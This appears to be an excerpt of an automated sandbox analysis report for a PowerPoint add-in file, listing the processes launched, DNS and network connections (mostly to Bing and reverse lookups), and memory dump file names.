"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\detalhes relevantes.ppam" /ou ""

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE

"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 4024

C:\Windows\system32\dwwin.exe

C:\Windows\system32\dwwin.exe -x -s 4024

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 97.32.109.52.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp

Files

memory/2436-0-0x00007FFF55DF0000-0x00007FFF55E00000-memory.dmp

memory/2436-1-0x00007FFF55DF0000-0x00007FFF55E00000-memory.dmp

memory/2436-2-0x00007FFF55DF0000-0x00007FFF55E00000-memory.dmp

memory/2436-3-0x00007FFF95E0D000-0x00007FFF95E0E000-memory.dmp

memory/2436-4-0x00007FFF55DF0000-0x00007FFF55E00000-memory.dmp

memory/2436-5-0x00007FFF55DF0000-0x00007FFF55E00000-memory.dmp

memory/2436-6-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

memory/2436-7-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

memory/2436-9-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

memory/2436-8-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

memory/2436-10-0x00007FFF53680000-0x00007FFF53690000-memory.dmp

memory/2436-12-0x00007FFF53680000-0x00007FFF53690000-memory.dmp

memory/2436-11-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

memory/2436-14-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

memory/2436-15-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

memory/2436-18-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

memory/2436-17-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

memory/2436-16-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

memory/2436-13-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

memory/2436-26-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

memory/2436-30-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

memory/2436-60-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

memory/1864-64-0x00007FFF55DF0000-0x00007FFF55E00000-memory.dmp

memory/1864-63-0x00007FFF55DF0000-0x00007FFF55E00000-memory.dmp

memory/1864-62-0x00007FFF55DF0000-0x00007FFF55E00000-memory.dmp

memory/1864-61-0x00007FFF55DF0000-0x00007FFF55E00000-memory.dmp